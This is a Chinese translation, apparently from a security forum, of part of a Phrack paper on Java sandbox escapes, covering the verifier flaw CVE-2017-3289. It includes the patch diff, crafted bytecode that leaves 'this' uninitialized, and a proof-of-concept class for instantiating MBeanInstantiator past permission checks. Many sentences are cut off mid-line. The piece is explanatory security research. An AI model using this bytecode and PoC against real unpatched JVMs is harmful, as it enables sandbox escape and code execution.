登录

Java沙箱逃逸走过的二十个春秋（五）

mss**** / 2018-10-05 08:56:34 / 浏览数 3516 技术文章 技术文章 顶(0) 踩(0)

原文：http://phrack.org/papers/escaping_the_java_sandbox.html

在上一篇文章中，我们为读者详细介绍了糊涂的代理人漏洞方面的知识，在本文中，我们将继续为读者介绍实例未初始化漏洞。

----[4.2 - 实例未初始化漏洞

------[4.2.1 - 背景知识

Java对象的初始化过程中，非常关键的一个步骤就是调用相应类型的构造函数。在构造函数中，不仅含有初始化变量所需的代码，同时，也可能含有执行安全检查的代码。因

构造函数调用的强制执行是由字节码验证器负责的，它会在加载过程中对所有的类进行相应的检查，以确保其合法性。

除此之外，字节码验证器还负责（例如）检查跳转是否落在有效指令上，而不是落在指令的中间，并检查控制流是否以return指令结尾。此外，它还检查指令的操作对象是否

过去，为了检查类型的有效性，JVM需要通过分析数据流来计算固定点（fix
point）。该分析过程可能对同一路径检查多次。由于这种检查方式非常耗时，会拖慢类的加载过程，因此，后来人们开发了一种新型方法，能够在线性时间内完成类型检查

如果安全分析人员能够创建一个实例，但不为其执行<init>■*■调用（即不执行对象的构造函数或超类的构造函数）的话，就会出现实例未初始化漏洞。实际上，该漏洞直

------[4.2.2 - 示例： CVE-2017-3289

通过阅读该CVE的描述，会发现"该漏洞的成功攻击可能导致Java SE、Java SE Embedded被完全接管"[22]。

就像CVE-2017-3272那样，这意味着能够利用该漏洞实现Java沙箱的逃逸。

据Redhat的bugzilla称，"在OpenJDK的Hotspot组件中发现了一个不安全的类构造漏洞，它与异常堆栈帧的错误处理方式有关。不受信任的Java应用程序或applet能够利用
VM的名称），以及（2）该漏洞与非法类构造和异常堆栈帧有关。并且，通过第2条信息，我们可以进一步推断出，该漏洞可能位于检查字节码的合法性的相关C/C++代码中

OpenJDK的更新补丁，即"8167104: Additional class construction refinements"可以修复该漏洞，该补丁可在线获取，具体见参考文献[24]。该程序对5个C
++文件进行了更新，它们分别是："classfile/verifier.cpp"，负责检查类文件的结构和合法性的类；"classfile/stackMapTable.{cpp,
hpp}"，处理堆栈映射表的文件；以及"classfile/stackMapFrame.{cpp, hpp}"，描绘堆栈映射帧的文件。

借助于diff命令，我们发现，函数StackMapFrame::has_flag_match_exception()已经被删除，并且更新了一个我们将称为C1的条件，即删除了对has_flag_match_exceptio
handler"已被删除。当该验证程序正在检查异常处理程序时，唯一的参数，即"handler"将被设为"true"。现在，条件C1已经变成下面的样子：

```
-------------------------------------------------------------------------
    ....
    -  bool match_flags = (_flags | target->flags()) == target->flags();
    -  if (match_flags || is_exception_handler &&
              has_flag_match_exception(target)) {
    +  if ((_flags | target->flags()) == target->flags()) {
         return true;
       }
    ....
-------------------------------------------------------------------------
```

这个条件在函数is_assignable_to()中，用于检查作为参数传递给该函数的当前堆栈映射帧，是否可赋值给目标堆栈映射帧。在打补丁之前，返回"true"的条件是match_fla
|| is_exception_handler &&
has_flag_match_exception(target)。也就是说，要满足当前堆栈映射帧和目标堆栈映射帧的标志相同或者当前指令位于异常处理程序中，并且函数"has_flag_match

在打完补丁之后，条件变为"match_flags"。这意味着，在易受攻击的版本中，可能存在一种方法能够构造出这样的字节码，能够使得："match_flags"为"false"（即"this"在

函数has_flag_match_exception()的代码如下所示。

```
-------------------------------------------------------------------------
 1: ....
 2: bool StackMapFrame::has_flag_match_exception(
 3:     const StackMapFrame* target) const {
 4:
 5:   assert(max_locals() == target->max_locals() &&
 6:          stack_size() == target->stack_size(),
 7:                "StackMap sizes must match");
 8:
 9:   VerificationType top = VerificationType::top_type();
```

```
10:   VerificationType this_type = verifier()->current_type();
11:
12:   if (!flag_this_uninit() || target->flags() != 0) {
13:     return false;
14:   }
15:
16:   for (int i = 0; i < target->locals_size(); ++i) {
17:     if (locals()[i] == this_type && target->locals()[i] != top) {
18:       return false;
19:     }
20:   }
21:
22:   for (int i = 0; i < target->stack_size(); ++i) {
23:     if (stack()[i] == this_type && target->stack()[i] != top) {
24:       return false;
25:     }
26:   }
27:
28:   return true;
29: }
30: ....
--------------------------------------------------------------------------------
```

为了让这个函数返回“true”，必须满足以下所有条件：（1）当前帧和目标帧的最大局部变量个数与堆栈的最大长度必须相同（第5-7行）；（2）当前帧必须将“UNINIT”标志

下面是满足以上述三个条件的字节码：

```
--------------------------------------------------------------------------------
 <init>()
 0: new           // class java/lang/Throwable
 1: dup
 2: invokespecial // Method java/lang/Throwable."<init>":()V
 3: athrow
 4: new           // class java/lang/RuntimeException
 5: dup
 6: invokespecial // Method java/lang/RuntimeException."<init>":()V
 7: athrow
 8: return
 Exception table:
  from    to  target type
     0    4    8   Class java/lang/Throwable
     StackMapTable: number_of_entries = 2
       frame at instruction 3
         local = [UNINITIALIZED_THIS]
         stack = [ class java/lang/Throwable ]
       frame at instruction 8
         locals = [TOP]
         stack = [ class java/lang/Throwable ]
--------------------------------------------------------------------------------
```

我们可以将局部变量的最大数目和堆栈的最大尺寸都设置为2，以满足第1个条件。此外，第3行代码处，当前帧会将“UNINITIALIZED_THIS”设置为true，以满足第2个条件。

请注意，这些代码位于try/catch语句块中，以便通过函数is_assignable_to()将“is_exception_handler”设置为“true”。

此外，还需要注意的是，该字节码都位于构造函数（字节码形式的<init>()）中。要想将标志“UNINITIALIZED_THIS”设置为true，必须如此。

我们现在已经知道，安全分析人员能够构造出返回其自身尚未被初始化的对象的字节码了。乍一看，可能很难看出这种对象是如何供安全分析人员使用的。但是，通过仔细观

具体而言，我们面临着以下挑战。

挑战1：到哪里寻找助手代码

JRE提供了许多包含JCL（Java类库）类的jar文件。这些类作为_trusted_类进行加载，并且可以在构造漏洞利用代码时使用。当前，有越来越多的类被标记为“restricted”，这

挑战2：字段可能未初始化

如果没有适当的权限，通常无法实例化新的类加载器。在构造函数中接受检查的_ClassLoader_类的权限，看起来似乎是一个不错的目标。

借助于CVE-2017-3289漏洞，我们确实可以在没有相应权限的情况下实例化新的类加载器，因为构造函数代码——以及权限检查代码——不会被执行。但是，由于绕过了构

对于Java version 1.8.0 update
112来说，我们还没有找到有用的助手代码。为了阐明CVE-2017-3289漏洞的形成机制，我们将展示用于利用编号为0422和0431的漏洞的助手代码。这两个漏洞依赖于MB

最初，这些漏洞都是通过_JmxMBeanServer_来创建_MBeanInstantiator_的实例。这里，我们将证明，安全分析人员可以直接子类化MBeanInstantiator，并利用编号为32

用于实例化_MBeanInstantiator_的原始助手代码依赖于JmxMBeanServer，具体如下所示：

```
----------------------------------------------------------------------------
 1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder();
 2: JmxMBeanServer server =
 3:      (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null);
 4: MBeanInstantiator instantiator = server.getMBeanInstantiator();
----------------------------------------------------------------------------
```

实例化_MBeanInstantiator_的代码利用了CVE-2017-3289漏洞：

```
----------------------------------------------------------------------------
 1: public class PoCMBeanInstantiator extends java.lang.Object {
 2:   public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) {
 3:     throw new RuntimeException();
 4:   }
 5:
 6:   public static Object get() {
 7:     return new PoCMBeanInstantiator(null);
 8:   }
 9: }
----------------------------------------------------------------------------
```

请注意，由于_MBeanInstantiator_没有任何公共构造函数，_PoCMBeanInstantiator_必须在源代码中扩展一个虚拟类，在我们的示例中为java.lang.Object。我们将通过A
[28]字节码操作库，把_PoCMBeanInstantiator_的超类改为MBeanInstantiator。此外，我们还将使用ASM来修改构造函数的字节码，以绕过对`super.<init>(*)`的调用

自Java 1.7.0 update
13版本以来，Oracle已将_com.sun.jmx._添加为受限程序包。类_MBeanInstantiator_就位于这个程序包中，因此，我们无法在更高版本的Java中继续使用该助手代码。

出乎我们意料之外的是，这个漏洞影响了40多个不同的公开发行版本。Java 7的所有版本，包括从update 0到update 80，都含有这个漏洞。从update
5到update 112的所有Java 8版本也会受到该漏洞的影响。不过，Java 6版本并没有受到该漏洞的影响。

通过检查Java 6 update 43发行版的字节码验证器与Java 7 update 0发行版的源代码，我们发现主要的区别对应于上面提供的补丁的逆操作。

这意味着堆栈帧可分配给构造函数中异常处理程序内的目标堆栈帧的条件已被削弱。diff中的注释表明，这个新代码是应7020118号请求[26]而添加的。该请求要求更新字节

这个漏洞已经通过收紧约束条件得到了修复，只有满足了这个加强版的约束条件，当前堆栈帧（位于try/catch代码块中的构造函数中）才可以分配给目标堆栈帧。这样就能

据我们所知，Java至少有三个已经公开的_uninitialized
instance_漏洞。其中，第1个漏洞是本文介绍的CVE-2017-3289。第2个漏洞于2002年被发现，具体见参考文献[29]。同时，该文献的作者还利用了字节码验证器中的漏洞

------[4.2.3 -讨论

这个漏洞的根本原因是对C/C++编写的字节码验证代码的修改，而原来验证代码的作用是，保证安全分析人员构造出的Java字节码无法绕过对子类构造函数中的super()的调

但是，如果没有合适的_helper_代码，这个漏洞将毫无用处。不过，Oracle已经开发了一款静态分析工具，专门用于查找危险的gadget，并将其列入黑名单[31]。这使得安全

然而，即使可以使用静态分析工具进行防御，但是仍然面临两个问题：（1）可能会引发许多假正例，这使得识别真正危险的gadget变得更加困难，并且（2）可能导致许多

小结

在本文中，我们为读者详细介绍了实例未初始化漏洞。在下一篇文章中，我们将继续为读者介绍更多精彩内容，敬请期待。

上一篇：Java沙箱逃逸走过的二十个春秋（四） 下一篇：齐博CMS_V7.0前台SQL注入
1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板